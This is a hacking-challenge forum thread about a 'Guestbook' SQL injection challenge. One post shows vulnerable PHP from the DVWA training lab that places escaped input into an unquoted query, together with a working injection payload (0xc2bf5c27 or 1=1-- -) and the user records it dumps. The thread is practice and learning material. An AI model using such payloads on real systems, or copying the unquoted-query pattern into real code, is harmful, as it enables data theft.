The Guesbook Vai alla sfida "The Guestbook"
Posizione globale: 5
Punteggio totale: 607613
Posts : 324
Grazie: 335
Voti+: 341
Registrato: 17a 14gg
Ultima visita: 114gg 15ore
L'utente è Offline
RE: The Guesbook
06 Mar 2012 - 13:15:57 (14a 242gg)
06 Mar 2012 - 13:15:57 (14a 242gg)
Another game of "spot the error"... Nice distraction with the indentation. ;)
You're not sending the full request to the server.
Try reformatting your code.
line 14
echo $out1
You're a busy clicker 
You might also run into problems with checking eof in combination with HTTP/1.1, because the connection isn't closed immediately.
You might also run into problems with checking eof in combination with HTTP/1.1, because the connection isn't closed immediately.
Ultima modifica: tehron - 06 Mar 2012 - 13:23:15
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg
Ultima visita: 65gg 18ore
L'utente è Offline
RE: The Guesbook
07 Mar 2012 - 04:20:58 (14a 241gg)
07 Mar 2012 - 04:20:58 (14a 241gg)
Nice post, tehron.
I can see the error you have spotted now as well, and i actually looked for these myself, but it had to be in the last concat of course, when eyes are lazy.
Cheers!
I can see the error you have spotted now as well, and i actually looked for these myself, but it had to be in the last concat of course, when eyes are lazy.
Cheers!
The geeks shall inherit the properties and methods of object earth.
Posizione globale: 16455
Punteggio totale: 88
Posts : 3
Grazie: 1
Voti+: 0
Registrato: 13a 173gg
Ultima visita: 13a 12gg
L'utente è Offline
RE: The Guesbook
23 Mag 2013 - 20:49:57 (13a 163gg)
23 Mag 2013 - 20:49:57 (13a 163gg)
Hi Gizmore, I am able to bypass the mysql_escape_string() in my simulation lab (based on DVWA), encoding the '\' but can't bypass your guesbook with the same injection...Can you give us some hint?
Thanks in advance.
Thanks in advance.
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg
Ultima visita: 65gg 18ore
L'utente è Offline
RE: The Guesbook
23 Mag 2013 - 20:59:03 (13a 163gg)
23 Mag 2013 - 20:59:03 (13a 163gg)
Maybe give us a hint how to bypass mysql_real_escape_string nowadays 
I call "impossibru"!
I call "impossibru"!
The geeks shall inherit the properties and methods of object earth.
Posizione globale: 16455
Punteggio totale: 88
Posts : 3
Grazie: 1
Voti+: 0
Registrato: 13a 173gg
Ultima visita: 13a 12gg
L'utente è Offline
RE: The Guesbook
23 Mag 2013 - 21:20:19 (13a 163gg)
23 Mag 2013 - 21:20:19 (13a 163gg)
As I said, in DVWA (mysql 5.5):
Code behind:
$id = trim($_GET['id']);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
Injection chain ID: 0xc2bf5c27 or 1=1-- - (i.e. ¿\' or 1=1-- -, though also works without the ' (0x27)
Results:
ID: char(0xc2bf5c27) or 1=1-- -
First name: admin
Surname: admin
ID: char(0xc2bf5c27) or 1=1-- -
First name: Gordon
Surname: Brown
ID: char(0xc2bf5c27) or 1=1-- -
First name: Hack
Surname: Me
ID: char(0xc2bf5c27) or 1=1-- -
First name: Pablo
Surname: Picasso
ID: char(0xc2bf5c27) or 1=1-- -
First name: Bob
Surname: Smith
I am a bit confused about this challenge (I also have been considering a cookie injection but..)
Thanks
Code behind:
$id = trim($_GET['id']);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
Injection chain ID: 0xc2bf5c27 or 1=1-- - (i.e. ¿\' or 1=1-- -, though also works without the ' (0x27)
Results:
ID: char(0xc2bf5c27) or 1=1-- -
First name: admin
Surname: admin
ID: char(0xc2bf5c27) or 1=1-- -
First name: Gordon
Surname: Brown
ID: char(0xc2bf5c27) or 1=1-- -
First name: Hack
Surname: Me
ID: char(0xc2bf5c27) or 1=1-- -
First name: Pablo
Surname: Picasso
ID: char(0xc2bf5c27) or 1=1-- -
First name: Bob
Surname: Smith
I am a bit confused about this challenge (I also have been considering a cookie injection but..)
Thanks
Posizione globale: 198
Punteggio totale: 110647
Posts : 1795
Grazie: 1390
Voti+: 961
Registrato: 18a 259gg
Ultima visita: 65gg 18ore
L'utente è Offline
RE: The Guesbook
23 Mag 2013 - 21:25:51 (13a 163gg)
23 Mag 2013 - 21:25:51 (13a 163gg)
Maybe you should take a look at the challenge's code
The geeks shall inherit the properties and methods of object earth.
jacobs, Redknee, silenttrack, n0tHappy, nonfungiblesecurity, quangntenemy, TheHiveMind, Z, balicocat, Ge0, arraez, jcquinterov, hophuocthinh, alfamen2, burhanudinn123, Ben_Dover, stephanduran89, braddie0, fpombal, csuquvq utenti hanno sottoscritto il thread e ricevo le E-Mail di notifica.
1 persone stanno visualizzando il thread.
Questo thread è stato visualizzato 188511 volte.
1 persone stanno visualizzando il thread.
Questo thread è stato visualizzato 188511 volte.